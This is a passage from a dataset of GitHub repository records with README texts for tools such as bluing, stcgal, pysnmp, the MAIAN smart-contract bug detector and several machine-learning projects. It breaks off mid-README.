quit\n\nCommands:\n    list         List installed plugins\n    install      Install a plugin\n    uninstall    Uninstall a plugin\n    run          Run a plugin\n</pre>\n</details>\n\n## Recommended Hardware\n\n### Bluetooth adapter\n\nMany features of bluing require access to at least 1 Bluetooth adapter. Although it is possible to use the adapter that comes with the Linux physical machine or make the Linux virtual machine exclusive to an adapter of the host machine, it is still recommended to use an external USB Bluetooth adapter for more stability, such as [Parani UD100-G03](http://www.senanetworks.com/ud100-g03.html).\n\n### Original micro:bit (optional)\n\nBluing requires at least 1 [original micro:bit](https://microbit.org/get-started/user-guide/overview/#original-micro:bit) when sniffing advertising physical channel PDUs ([`le --sniff-adv`](https://fo-000.github.io/bluing/#--sniff-adv-sniff-advertising-physical-channel-pdu)), and it is recommended to use 3 of them at the same time. These micro:bits need to run the dedicated firmware provided by bluing. After connecting the micro:bits to Linux, the pre-built firmware can be flashed by executing the following command:\n\n<pre>\n<span style=\"font-weight: bold; color: #9fab76\">bluing</span> --flash-micro-bit\n</pre>\n\nWhile less convenient to use than the micro:bit, but more accessible to purchase, more generic NRF51 adapters can be supported as well. Support has been added for the Adafruit Bluefruit LE Friend and the BLE400 boards. To use these, they will need to be flashed using SWD. This tool does not support flashing these devices. Additionally, the tool cannot automatically identify these devices. Instead the `--devices` option needs to identify the ports connected to computer.\n\n### Ubertooth One (optional)\n\nWhen sniffing and guessing nearby BD_ADDRs ([`br --sniff-and-guess-bd-addr`](https://fo-000.github.io/bluing/#--sniff-and-guess-bd-addr-sniff-and-guess-nearby-bd_addrs-over-the-air)), bluing requires an [Ubertooth One](https://greatscottgadgets.com/ubertoothone/).\n\n## FAQ\n\n### `rfkill` cannot find hci0\n\nThe following is the exception message:\n\n```txt\nException: Can't find the ID of hci0 in rfkill\n```\n\nThis exception may be caused by the lack of support for `-r` and `-n` option in the old version of rfkill, for example:\n  \n<pre>\n$ <span style=\"font-weight: bold; color: #9fab76\">cat</span> /etc/os-release | <span style=\"font-weight: bold; color: #9fab76\">head</span> -n 2\nNAME=\"Ubuntu\"\nVERSION=\"16.10 (Yakkety Yak)\"\n\n$ <span style=\"font-weight: bold; color: #9fab76\">rfkill</span> --version\nrfkill 0.5-1ubuntu3 (Ubuntu)\n</pre>\n\nAt this time, upgrading rfkill to a newer version can solve the problem, such as:\n\n<pre>\n$ <span style=\"font-weight: bold; color: #9fab76\">cat</span> /etc/os-release | <span style=\"font-weight: bold; color: #9fab76\">head</span> -n 2\nPRETTY_NAME=\"Kali GNU/Linux Rolling\"\nNAME=\"Kali GNU/Linux\"\n\n$ <span style=\"font-weight: bold; color: #9fab76\">rfkill</span> --version\nrfkill from util-linux 2.38.1\n</pre>\n\n### Management command `scanend` failed to execute\n\nThe following is an error message:\n\n```txt\nERROR: Failed to execute management command 'scanend' (code: 11, error: Rejected)\n```\n\nTry restarting the Bluetooth service to solve the problem:\n\n<pre>\n<span style=\"font-weight: bold; color: #9fab76\">sudo systemctl</span> restart bluetooth.service\n</pre>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "grigorig/stcgal", "link": "https://github.com/grigorig/stcgal", "tags": ["stc", "microcontroller", "8051", "stc-mcu", "mcu", "mcs51"], "stars": 508, "description": "Open Source STC MCU ISP flash tool", "lang": "Python", "repo_lang": "", "readme": "[![Build Status](https://github.com/grigorig/stcgal/workflows/Python%20package/badge.svg?branch=master)](https://github.com/grigorig/stcgal/actions?query=workflow%3A%22Python+package%22)\n[![Coverage Status](https://coveralls.io/repos/github/grigorig/stcgal/badge.svg?branch=master)](https://coveralls.io/github/grigorig/stcgal?branch=master)\n[![PyPI version](https://badge.fury.io/py/stcgal.svg)](https://badge.fury.io/py/stcgal)\n\nstcgal - STC MCU ISP flash tool\n===============================\n\nstcgal is a command line flash programming tool for [STC MCU Ltd](http://stcmcu.com/).\n8051 compatible microcontrollers.\n\nSTC microcontrollers have an UART/USB based boot strap loader (BSL). It\nutilizes a packet-based protocol to flash the code memory and IAP\nmemory over a serial link. This is referred to as in-system programming\n(ISP).  The BSL is also used to configure various (fuse-like) device\noptions. Unfortunately, this protocol is not publicly documented and\nSTC only provide a (crude) Windows GUI application for programming.\n\nstcgal is a full-featured Open Source replacement for STC's Windows\nsoftware; it supports a wide range of MCUs, it is very portable and\nsuitable for automation.\n\nFeatures\n--------\n\n* Support for STC 89/90/10/11/12/15/8 series\n* UART and USB BSL support\n* Display part info\n* Determine operating frequency\n* Program flash memory\n* Program IAP/EEPROM\n* Set device options\n* Read unique device ID (STC 10/11/12/15/8)\n* Trim RC oscillator frequency (STC 15/8)\n* Automatic power-cycling with DTR toggle or a custom shell command\n* Automatic UART protocol detection\n\nQuickstart\n----------\n\nInstall stcgal (might need root/administrator privileges):\n    \n    pip3 install stcgal\n\nCall stcgal and show usage:\n\n    stcgal -h\n\nFurther information\n-------------------\n\n[Installation](doc/INSTALL.md)\n\n[How to use stcgal](doc/USAGE.md)\n\n[Frequently Asked Questions](doc/FAQ.md)\n\n[List of tested MCU models](doc/MODELS.md)\n\nLicense\n-------\n\nstcgal is published under the MIT license.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "RimoChan/yinglish", "link": "https://github.com/RimoChan/yinglish", "tags": [], "stars": 508, "description": "\u3010yinglish\u3011\u6deb\u8bed\u7ffb\u8bd1\u673a\uff01", "lang": "Python", "repo_lang": "", "readme": "# \u6deb\u8bed\u7ffb\u8bd1\u673a\uff01\n\n\u80fd\u628a\u4e2d\u6587\u7ffb\u8bd1\u6210\u6deb\u8bed\u7684\u7ffb\u8bd1\u673a\uff01\n\n<sub>(\u5176\u5b9e\u7075\u611f\u662f\u6765\u81ea\u5317\u4eac\u5730\u94c1\u7ad9\uff0c\u90a3\u4e2a\u5199\u7ad9\u540d\u7684\u544a\u793a\u724c\u771f\u7684\u597d\u8272\u554a2333)</sub>\n\n\n## \u6837\u4f8b\n\n```python\nimport yinglish\n\ns = '\u4e0d\u884c\uff0c\u90a3\u91cc\u4e0d\u884c\u3002'\nprint(yinglish.chs2yin(s))\n# \u4e0d\u884c\uff0c\u90a3\u2026\u2026\u90a3\u91cc\u4e0d\u884c\u2026\u2026\n\ns2 = '\u5403\u8461\u8404\u4e0d\u5410\u8461\u8404\u76ae\u3002'\nprint(yinglish.chs2yin(s2))\n# \u2026\u2026\u5403\u3007\u3007\u4e0d\u5410\u8461\u2026\u2026\u8461\u8404\u76ae\u2026\u2026\n```\n\n\n## \u63a5\u53e3\u8bf4\u660e\n\n```python\ndef chs2yin(s, \u6deb\u4e71\u5ea6=0.5):\n```\n\ns\u662f\u539f\u5b57\u7b26\u4e32\uff0c\u6deb\u4e71\u5ea6\u662f0~1\u7684\u5b9e\u6570\uff0c\u8d8a\u5927\u8d8a\u6deb\u4e71\uff0c\u8868\u793a\u6bcf\u4e2a\u8bcd\u8bed\u88ab\u8f6c\u5316\u7684\u6982\u7387\u3002\n\n\n## \u5b89\u88c5\n\n\u9996\u5148\uff0c\u4f60\u9700\u8981\u5b89\u88c5\u4e00\u4e2aPython(3.6\u4ee5\u4e0a\u7248\u672c)\u3002\n\n\u7136\u540e\u2014\u2014\n```bash \npip install yinglish\n```\n\n\u6700\u540e`import yinglish`\u5c31\u884c\u4e86\u3002\n\n\n## \u7ed3\u675f\n\n\u5c31\u8fd9\u6837\uff0c\u5927\u5bb688<sub>(\u6e9c\u4e86\u6e9c\u4e86)</sub>\u3002\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "etingof/pysnmp", "link": "https://github.com/etingof/pysnmp", "tags": ["pysnmp", "python", "snmp", "snmpv3", "mib"], "stars": 508, "description": "Python SNMP library", "lang": "Python", "repo_lang": "", "readme": "\nSNMP library for Python\n-----------------------\n[![PyPI](https://img.shields.io/pypi/v/pysnmp.svg?maxAge=2592000)](https://pypi.org/project/pysnmp/)\n[![Python Versions](https://img.shields.io/pypi/pyversions/pysnmp.svg)](https://pypi.org/project/pysnmp/)\n[![GitHub license](https://img.shields.io/badge/license-BSD-blue.svg)](https://raw.githubusercontent.com/etingof/pysnmp/master/LICENSE.rst)\n[![Build status](https://travis-ci.org/etingof/pysnmp.svg?branch=master)](https://travis-ci.org/etingof/pysnmp)\n[![Downloads](https://img.shields.io/pypi/dm/pysnmp.svg)](https://pypi.org/project/pysnmp/)\n\nThis is a pure-Python, open source and free implementation of v1/v2c/v3\nSNMP engine distributed under 2-clause [BSD license](http://snmplabs.com/pysnmp/license.html).\n\nThe PySNMP project was initially sponsored by a [PSF](http://www.python.org/psf/) grant.\nThank you!\n\nFeatures\n--------\n\n* Complete SNMPv1/v2c and SNMPv3 support\n* SMI framework for resolving MIB information and implementing SMI\n  Managed Objects\n* Complete SNMP entity implementation\n* USM Extended Security Options support (3DES, 192/256-bit AES encryption)\n* Extensible network transports framework (UDP/IPv4, UDP/IPv6)\n* Asynchronous socket-based IO API support\n* [Twisted](http://twistedmatrix.com), [Asyncio](https://docs.python.org/3/library/asyncio.html)\n  and [Trollius](http://trollius.readthedocs.org/index.html) integration\n* [PySMI](http://snmplabs.com/pysmi/) integration for dynamic MIB compilation\n* Built-in instrumentation exposing protocol engine operations\n* Python eggs and py2exe friendly\n* 100% Python, works with Python 2.6 though 3.7\n* MT-safe (if SnmpEngine is thread-local)\n\nFeatures, specific to SNMPv3 model include:\n\n* USM authentication (MD5/SHA-1/SHA-2) and privacy (DES/AES) protocols (RFC3414, RFC7860)\n* View-based access control to use with any SNMP model (RFC3415)\n* Built-in SNMP proxy PDU converter for building multi-lingual\n  SNMP entities (RFC2576)\n* Remote SNMP engine configuration\n* Optional SNMP engine discovery\n* Shipped with standard SNMP applications (RC3413)\n\n\nDownload & Install\n------------------\n\nThe PySNMP software is freely available for download from [PyPI](https://pypi.org/project/pysnmp/)\nand [GitHub](https://github.com/etingof/pysnmp.git).\n\nJust run:\n\n```bash\n$ pip install pysnmp\n```\n    \nto download and install PySNMP along with its dependencies:\n\n* [PyASN1](http://snmplabs.com/pyasn1/)\n* [PySMI](http://snmplabs.com/pysmi/) (required for MIB services only)\n* Optional [pysnmpcrypto](https://github.com/etingof/pysnmpcrypto) package\n  whenever strong SNMPv3 encryption is desired\n\nBesides the library, command-line [SNMP utilities](https://github.com/etingof/snmpclitools)\nwritten in pure-Python could be installed via:\n\n```bash\n$ pip install snmpclitools\n```\n    \nand used in the very similar manner as conventional Net-SNMP tools:\n\n```bash\n$ snmpget.py -v3 -l authPriv -u usr-md5-des -A authkey1 -X privkey1 demo.snmplabs.com sysDescr.0\nSNMPv2-MIB::sysDescr.0 = STRING: Linux zeus 4.8.6.5-smp #2 SMP Sun Nov 13 14:58:11 CDT 2016 i686\n```\n    \nExamples\n--------\n\nPySNMP is designed in a layered fashion. Top-level and easiest to use API is known as\n*hlapi*. Here's a quick example on how to SNMP GET:\n\n```python\nfrom pysnmp.hlapi import *\n\niterator = getCmd(SnmpEngine(),\n                  CommunityData('public'),\n                  UdpTransportTarget(('demo.snmplabs.com', 161)),\n                  ContextData(),\n                  ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0)))\n\nerrorIndication, errorStatus, errorIndex, varBinds = next(iterator)\n\nif errorIndication:  # SNMP engine errors\n    print(errorIndication)\nelse:\n    if errorStatus:  # SNMP agent errors\n        print('%s at %s' % (errorStatus.prettyPrint(), varBinds[int(errorIndex)-1] if errorIndex else '?'))\n    else:\n        for varBind in varBinds:  # SNMP response contents\n            print(' = '.join([x.prettyPrint() for x in varBind]))\n```\n\nThis is how to send SNMP TRAP:\n\n```python\nfrom pysnmp.hlapi import *\n\nerrorIndication, errorStatus, errorIndex, varBinds = next(\n    sendNotification(\n        SnmpEngine(OctetString(hexValue='8000000001020304')),\n        UsmUserData('usr-sha-aes128', 'authkey1', 'privkey1',\n                    authProtocol=USM_AUTH_HMAC96_SHA,\n                    privProtocol=USM_PRIV_CFB128_AES),\n        UdpTransportTarget(('demo.snmplabs.com', 162)),\n        ContextData(),\n        'trap',\n        NotificationType(ObjectIdentity('SNMPv2-MIB', 'authenticationFailure'))\n    )\n)\n\nif errorIndication:\n    print(errorIndication)\n```\n\nWe maintain publicly available SNMP Agent and TRAP sink at \n[demo.snmplabs.com](http://snmplabs.com/snmpsim/public-snmp-agent-simulator.html). You are\nwelcome to use it while experimenting with whatever SNMP software you deal with.\n\n```bash\n$ python3 examples/hlapi/asyncore/sync/manager/cmdgen/usm-sha-aes128.py\nSNMPv2-MIB::sysDescr.0 = SunOS zeus.snmplabs.com 4.1.3_U1 1 sun4m\n$\n$ python3 examples//hlapi/asyncore/sync/agent/ntforg/v3-inform.py\nSNMPv2-MIB::sysUpTime.0 = 0\nSNMPv2-MIB::snmpTrapOID.0 = SNMPv2-MIB::warmStart\nSNMPv2-MIB::sysName.0 = system name\n```\n    \nOther than that, PySNMP is capable to automatically fetch and use required MIBs from HTTP, FTP sites\nor local directories. You could configure any MIB source available to you (including\n[this one](http://mibs.snmplabs.com/asn1/)) for that purpose.\n\nFor more example scripts please refer to [examples section](http://snmplabs.com/pysnmp/examples/contents.html#high-level-snmp)\nat pysnmp web site.\n\nDocumentation\n-------------\n\nLibrary documentation and examples can be found at the [pysnmp project site](http://snmplabs.com/pysnmp/).\n\nIf something does not work as expected, please\n[open an issue](https://github.com/etingof/pysnmp/issues) at GitHub or\npost your question [on Stack Overflow](http://stackoverflow.com/questions/ask)\nor try browsing pysnmp \n[mailing list archives](https://sourceforge.net/p/pysnmp/mailman/pysnmp-users/).\n\nBug reports and PRs are appreciated! ;-)\n\nCopyright (c) 2005-2019, [Ilya Etingof](mailto:etingof@gmail.com). All rights reserved.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ivicanikolicsg/MAIAN", "link": "https://github.com/ivicanikolicsg/MAIAN", "tags": [], "stars": 508, "description": "MAIAN: automatic tool for finding trace vulnerabilities in Ethereum smart contracts", "lang": "Python", "repo_lang": "", "readme": "# Maian \n\nThe repository contains Python implementation of Maian -- a tool for automatic detection of buggy Ethereum smart contracts of three different types: prodigal, suicidal and greedy. Maian processes contract's bytecode and tries to build a trace of transactions to find and confirm bugs. The technical aspects of the approach are described in [our paper](https://arxiv.org/abs/1802.06038). \n\n## Evaluating Contracts\nMaian analyzes smart contracts defined in a file `<contract file>` with:  \n\n1. Solidity source code, use `-s <contract file> <main contract name>`\n2. Bytecode source, use `-bs <contract file>`\n3. Bytecode compiled (i.e. the code sitting on the blockchain), use `-b <contract file>`\n\nMaian checks for three types of buggy contracts:\n\n1. Suicidal contracts (can be killed by anyone, like the Parity Wallet Library contract), use `-c 0`\n2. Prodigal contracts (can send Ether to anyone), use `-c 1`\n3. Greedy contracts (nobody can get out Ether), use `-c 2`\n\nFor instance, to check if the contract `ParityWalletLibrary.sol` given in Solidity source code with `WalletLibrary` as main contract is suicidal use\n\n\t$ python maian.py -s ParityWalletLibrary.sol WalletLibrary -c 0\n\nThe output should look like this:\n\n![smiley](maian.png)\n\nTo get the full list of options use `python maian.py -h`\n\n\n\n### GUI\n\nFor GUI inclined audience, we provide  a simple GUI-based Maian. Use `python gui-maian.py` to start it. \nA snapshot of one run is given below\n\n![](./gui-maian.png)\n\n## Supported Operating Systems and Dependencies\n\nMaian should run smoothly on Linux (we've checked on Ubuntu/Mint) and MacOS. Our attempts to run it on Windows have failed. \nThe list of dependencies is as follows:\n\n1. Go Ethereum, check https://ethereum.github.io/go-ethereum/install/\n2. Solidity compiler, check http://solidity.readthedocs.io/en/develop/installing-solidity.html\n3. Z3 Theorem prover, check https://github.com/Z3Prover/z3\n4. web3, try `pip install web3`\n5. PyQt5 (only for GUI Maian), try `sudo apt install python-pyqt5` \n\n## Important\n\nTo reduce the number of false positives, Maian deploys the analyzed contracts (given either as Solidity or bytecode source) on \na private blockchain, and confirms the found bugs by sending appropriate transactions to the contracts. \nTherefore, during the execution of the tool, a private Ethereum blockchain is running in the background (blocks are mined on it in the same way as on the Mainnet). Our code stops the private blockchain once Maian finishes the search, however, in some  extreme cases, the blockchain keeps running. Please make sure that after the execution of the program, the private blockchain is off (i.e. `top` does not have `geth` task that corresponds to the private blockchain). \n\n## License\n\nMaian is released under the [MIT License](https://opensource.org/licenses/MIT), i.e. free for private and commercial use.\n\n \n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jnhwkim/ban-vqa", "link": "https://github.com/jnhwkim/ban-vqa", "tags": ["visual-question-answering", "attention", "bilinear-pooling", "pytorch-implmention"], "stars": 508, "description": "Bilinear attention networks for visual question answering", "lang": "Python", "repo_lang": "", "readme": "# Bilinear Attention Networks\n\nThis repository is the implementation of [Bilinear Attention Networks](http://arxiv.org/abs/1805.07932) for the visual question answering and Flickr30k Entities tasks. \n\nFor the visual question answering task, our single model achieved **70.35** and an ensemble of 15 models achieved **71.84** (Test-standard, VQA 2.0).\nFor the Flickr30k Entities task, our single model achieved **69.88 / 84.39 / 86.40** for Recall@1, 5, and 10, respectively (slightly better than the original paper).\nFor the detail, please refer to our [technical report](http://arxiv.org/abs/1805.07932).\n\nThis repository is based on and inspired by @hengyuan-hu's [work](https://github.com/hengyuan-hu/bottom-up-attention-vqa). We sincerely thank for their sharing of the codes.\n\n![Overview of bilinear attention networks](misc/ban_overview.png)\n\n### Updates\n\n* Bilinear attention networks using `torch.einsum`, backward-compatible. ([12 Mar 2019](https://github.com/jnhwkim/ban-vqa/issues/15#issuecomment-471864594))\n* Now compatible with PyTorch v1.0.1. ([12 Mar 2019](https://github.com/jnhwkim/ban-vqa/pull/22))\n\n### Prerequisites\n\nYou may need a machine with 4 GPUs, 64GB memory, and PyTorch v1.0.1 for Python 3.\n\n1. Install [PyTorch](http://pytorch.org/) with CUDA and Python 3.6.\n2. Install [h5py](http://docs.h5py.org/en/latest/build.html).\n\n*WARNING: do not use PyTorch v1.0.0 due to [a bug](https://github.com/pytorch/pytorch/issues/15602) which induces underperformance.*\n\n## VQA\n### Preprocessing\n\nOur implementation uses the pretrained features from [bottom-up-attention](https://github.com/peteanderson80/bottom-up-attention), the adaptive 10-100 features per image. In addition to this, the GloVe vectors. For the simplicity, the below script helps you to avoid a hassle.\n\nAll data should be downloaded to a `data/` directory in the root directory of this repository.\n\nThe easiest way to download the data is to run the provided script `tools/download.sh` from the repository root. If the script does not work, it should be easy to examine the script and modify the steps outlined in it according to your needs. Then run `tools/process.sh` from the repository root to process the data to the correct format.\n\nFor now, you should manually download for the below options (used in our best single model).\n\nWe use a part of Visual Genome dataset for data augmentation. The [image meta data](https://visualgenome.org/static/data/dataset/image_data.json.zip) and the [question answers](https://visualgenome.org/static/data/dataset/question_answers.json.zip) of Version 1.2 are needed to be placed in `data/`.\n\nWe use MS COCO captions to extract semantically connected words for the extended word embeddings along with the questions of VQA 2.0 and Visual Genome. You can download in [here](http://images.cocodataset.org/annotations/annotations_trainval2017.zip). Since the contribution of these captions is minor, you can skip the processing of MS COCO captions by removing `cap` elements in the `target` option in this [line](https://github.com/jnhwkim/ban-vqa/blob/master/dataset.py#L393).\n\nCounting module ([Zhang et al., 2018](https://openreview.net/forum?id=B12Js_yRb)) is integrated in this repository as `counting.py` for your convenience. The source repository can be found in @Cyanogenoid's [vqa-counting](https://github.com/Cyanogenoid/vqa-counting).\n\n### Training\n\n```\n$ python3 main.py --use_both True --use_vg True\n```\nto start training (the options for the train/val splits and Visual Genome to train, respectively). The training and validation scores will be printed every epoch, and the best model will be saved under the directory \"saved_models\". The default hyperparameters should give you the best result of single model, which is around **70.04** for test-dev split. \n\n### Validation\n\nIf you trained a model with the training split using\n```\n$ python3 main.py\n```\nthen you can run `evaluate.py` with appropriate options to evaluate its score for the validation split.\n\n### Pretrained model\n\nWe provide the pretrained model reported as the best single model in the paper (70.04 for test-dev, 70.35 for test-standard).\n\nPlease download the [link](https://drive.google.com/uc?export=download&id=1OGYxF5WY4uYc_6UobDjhrJIHkl2UGNct) and move to `saved_models/ban/model_epoch12.pth` (you may encounter a redirection page to confirm). The training log is found in [here](https://drive.google.com/uc?export=download&id=1sEa5bTMOFv_Xjo_A0xeNw379_Sljg9R_).\n\n```\n$ python3 test.py --label mytest\n```\n\nThe result json file will be found in the directory `results/`.\n\n### Without Visual Genome augmentation\n\nWithout the Visual Genome augmentation, we get **69.50** (average of 8 models with the standard deviation of **0.096**) for the test-dev split. We use the 8-glimpse model, the learning rate is starting with **0.001** (please see this change for the better results), 13 epochs, and the batch size of 256.\n\n## Flickr30k Entities\n### Preprocessing\nYou have to manually download [Annotation and Sentence](https://github.com/BryanPlummer/flickr30k_entities/blob/master/annotations.zip) files to `data/flickr30k/Flickr30kEntities.tar.gz`. Then run the provided script `tools/download_flickr.sh` and `tools/process_flickr.sh` from the root of this repository, similarly to the case of VQA. Note that the image features of Flickr30k were generated using [bottom-up-attention pretrained model](https://github.com/peteanderson80/bottom-up-attention.git).\n\n### Training\n\n```\n$ python3 main.py --task flickr --out saved_models/flickr\n```\nto start training. `--gamma` option does not applied. The default hyperparameters should give you approximately **69.6** for Recall@1 for the test split.\n\n\n### Validation\nPlease download the [link](https://drive.google.com/uc?export=download&id=1xiVVRPsbabipyHes25iE0uj2YkdKWv3K) and move to `saved_models/flickr/model_epoch5.pth` (you may encounter a redirection page to confirm).\n\n```\n$ python3 evaluate.py --task flickr --input saved_models/flickr --epoch 5\n```\nto evaluate the scores for the test split.\n\n\n\n\n### Troubleshooting\n\nPlease check [troubleshooting wiki](https://github.com/jnhwkim/ban-vqa/wiki/Troubleshooting) and [previous issue history](https://github.com/jnhwkim/ban-vqa/issues?utf8=\u2713&q=is%3Aissue).\n\n### Citation\n\nIf you use this code as part of any published research, we'd really appreciate it if you could cite the following paper:\n\n```\n@inproceedings{Kim2018,\nauthor = {Kim, Jin-Hwa and Jun, Jaehyun and Zhang, Byoung-Tak},\nbooktitle = {Advances in Neural Information Processing Systems 31},\ntitle = {{Bilinear Attention Networks}},\npages = {1571--1581},\nyear = {2018}\n}\n```\n\n### License\n\nMIT License\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "miki725/django-rest-framework-bulk", "link": "https://github.com/miki725/django-rest-framework-bulk", "tags": [], "stars": 508, "description": "Django REST Framework bulk CRUD view mixins", "lang": "Python", "repo_lang": "", "readme": "Django REST Framework Bulk\n==========================\n\n.. image:: https://badge.fury.io/py/djangorestframework-bulk.png\n    :target: http://badge.fury.io/py/djangorestframework-bulk\n\n.. image:: https://travis-ci.org/miki725/django-rest-framework-bulk.svg?branch=master\n    :target: https://travis-ci.org/miki725/django-rest-framework-bulk\n\nDjango REST Framework bulk CRUD view mixins.\n\nOverview\n--------\n\nDjango REST Framework comes with many generic views however none\nof them allow to do bulk operations such as create, update and delete.\nTo keep the core of Django REST Framework simple, its maintainer\nsuggested to create a separate project to allow for bulk operations\nwithin the framework. That is the purpose of this project.\n\nRequirements\n------------\n\n* Python>=2.7\n* Django>=1.3\n* Django REST Framework >= 3.0.0\n* REST Framework >= 2.2.5\n  (**only with** Django<1.8 since DRF<3 does not support Django1.8)\n\nInstalling\n----------\n\nUsing pip::\n\n    $ pip install djangorestframework-bulk\n\nor from source code::\n\n    $ pip install -e git+http://github.com/miki725/django-rest-framework-bulk#egg=djangorestframework-bulk\n\nExample\n-------\n\nThe bulk views (and mixins) are very similar to Django REST Framework's own\ngeneric views (and mixins)::\n\n    from rest_framework_bulk import (\n        BulkListSerializer,\n        BulkSerializerMixin,\n        ListBulkCreateUpdateDestroyAPIView,\n    )\n\n    class FooSerializer(BulkSerializerMixin, ModelSerializer):\n        class Meta(object):\n            model = FooModel\n            # only necessary in DRF3\n            list_serializer_class = BulkListSerializer\n\n    class FooView(ListBulkCreateUpdateDestroyAPIView):\n        queryset = FooModel.objects.all()\n        serializer_class = FooSerializer\n\nThe above will allow to create the following queries\n\n::\n\n    # list queryset\n    GET\n\n::\n\n    # create single resource\n    POST\n    {\"field\":\"value\",\"field2\":\"value2\"}     <- json object in request data\n\n::\n\n    # create multiple resources\n    POST\n    [{\"field\":\"value\",\"field2\":\"value2\"}]\n\n::\n\n    # update multiple resources (requires all fields)\n    PUT\n    [{\"field\":\"value\",\"field2\":\"value2\"}]   <- json list of objects in data\n\n::\n\n    # partial update multiple resources\n    PATCH\n    [{\"field\":\"value\"}]                     <- json list of objects in data\n\n::\n\n    # delete queryset (see notes)\n    DELETE\n\nRouter\n------\n\nThe bulk router can automatically map the bulk actions::\n\n    from rest_framework_bulk.routes import BulkRouter\n\n    class UserViewSet(BulkModelViewSet):\n        model = User\n\n        def allow_bulk_destroy(self, qs, filtered):\n            \"\"\"Don't forget to fine-grain this method\"\"\"\n\n    router = BulkRouter()\n    router.register(r'users', UserViewSet)\n\nDRF3\n----\n\nDjango REST Framework made many API changes which included major changes\nin serializers. As a result, please note the following in order to use\nDRF-bulk with DRF3:\n\n* You must specify custom ``list_serializer_class`` if your view(set)\n  will require update functionality (when using ``BulkUpdateModelMixin``)\n* DRF3 removes read-only fields from ``serializer.validated_data``.\n  As a result, it is impossible to correlate each ``validated_data``\n  in ``ListSerializer`` with a model instance to update since ``validated_data``\n  will be missing the model primary key since that is a read-only field.\n  To deal with that, you must use ``BulkSerializerMixin`` mixin in your serializer\n  class which will add the model primary key field back to the ``validated_data``.\n  By default ``id`` field is used however you can customize that field\n  by using ``update_lookup_field`` in the serializers ``Meta``::\n\n    class FooSerializer(BulkSerializerMixin, ModelSerializer):\n        class Meta(object):\n            model = FooModel\n            list_serializer_class = BulkListSerializer\n            update_lookup_field = 'slug'\n\nNotes\n-----\n\nMost API urls have two URL levels for each resource:\n\n1. ``url(r'foo/', ...)``\n2. ``url(r'foo/(?P<pk>\\d+)/', ...)``\n\nThe second url however is not applicable for bulk operations because\nthe url directly maps to a single resource. Therefore all bulk\ngeneric views only apply to the first url.\n\nThere are multiple generic view classes in case only a certail\nbulk functionality is required. For example ``ListBulkCreateAPIView``\nwill only do bulk operations for creating resources.\nFor a complete list of available generic view classes, please\ntake a look at the source code at ``generics.py`` as it is mostly\nself-explanatory.\n\nMost bulk operations are pretty safe in terms of how they operate,\nthat is you explicitly describe all requests. For example, if you\nneed to update 3 specific resources, you have to explicitly identify\nthose resources in the request's ``PUT`` or ``PATCH`` data.\nThe only exception to this is bulk delete. Consider a ``DELETE``\nrequest to the first url. That can potentially delete all resources\nwithout any special confirmation. To try to account for this, bulk delete\nmixin allows to implement a hook to determine if the bulk delete\nrequest should be allowed::\n\n    class FooView(BulkDestroyAPIView):\n        def allow_bulk_destroy(self, qs, filtered):\n            # custom logic here\n\n            # default checks if the qs was filtered\n            # qs comes from self.get_queryset()\n            # filtered comes from self.filter_queryset(qs)\n            return qs is not filtered\n\nBy default it checks if the queryset was filtered and if not will not\nallow the bulk delete to complete. The logic here is that if the request\nis filtered to only get certain resources, more attention was payed hence\nthe action is less likely to be accidental. On how to filter requests,\nplease refer to Django REST\n`docs <http://www.django-rest-framework.org/api-guide/filtering>`_.\nEither way, please use bulk deletes with extreme caution since they\ncan be dangerous.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Rubikplayer/flame-fitting", "link": "https://github.com/Rubikplayer/flame-fitting", "tags": ["face-model", "morphable-model", "computer-graphics", "computer-vision", "flame-model", "flame-fitting", "chumpy", "smpl-x", "face-alignment", "3d-face-alignment", "flame", "3d-reconstruction", "face", "3d-model"], "stars": 508, "description": "Example code for the FLAME 3D head model. The code demonstrates how to sample 3D heads from the model, fit the model to 3D keypoints and 3D scans.", "lang": "Python", "repo_lang": "", "readme": "# FLAME: Articulated Expressive 3D Head Model\n\nThis is an official [FLAME](http://flame.is.tue.mpg.de/) repository. \n\nWe also provide [Tensorflow FLAME](https://github.com/TimoBolkart/TF_FLAME) and [PyTorch FLAME](https://github.com/HavenFeng/photometric_optimization) frameworks, and code to [convert from Basel Face Model to FLAME](https://github.com/TimoBolkart/BFM_to_FLAME).\n\n<p align=\"center\"> \n<img src=\"gifs/model_variations.gif\">\n</p>\n\nFLAME is a lightweight and expressive generic head model learned from over 33,000 of accurately aligned 3D scans. FLAME combines a linear identity shape space (trained from head scans of 3800 subjects) with an articulated neck, jaw, and eyeballs, pose-dependent corrective blendshapes, and additional global expression blendshapes. For details please see the [scientific publication](https://ps.is.tuebingen.mpg.de/uploads_file/attachment/attachment/400/paper.pdf)\n\n```\nLearning a model of facial shape and expression from 4D scans\nTianye Li*, Timo Bolkart*, Michael J. Black, Hao Li, and Javier Romero\nACM Transactions on Graphics (Proc. SIGGRAPH Asia) 2017\n```\nand the [supplementary video](https://youtu.be/36rPTkhiJTM).\n\nThis codebase demonstrates\n * **Sampling:** Load and evaluate FLAME model for random parameters\n * **Landmark fitting:** Fit FLAME to 3D landmarks\n * **Scan fitting:** Fit FLAME to a 3D scan\n\n<p align=\"center\"> \n<img src=\"gifs/fitting_scan.gif\" width=\"60%\">\n</p>\n\n### Set-up\n\nThe code has been tested with Python 3.6.9.\n\nClone the git project:\n```\ngit clone https://github.com/Rubikplayer/flame-fitting.git\n```\n\nInstall pip and virtualenv\n\n```\nsudo apt-get install python3-pip python3-venv\n```\n\nSet up virtual environment:\n```\nmkdir <your_home_dir>/.virtualenvs\npython3 -m venv <your_home_dir>/.virtualenvs/flame-fitting\n```\n\nActivate virtual environment:\n```\ncd flame-fitting\nsource <your_home_dir>/.virtualenvs/flame-fitting/bin/activate\n```\n\nMake sure your 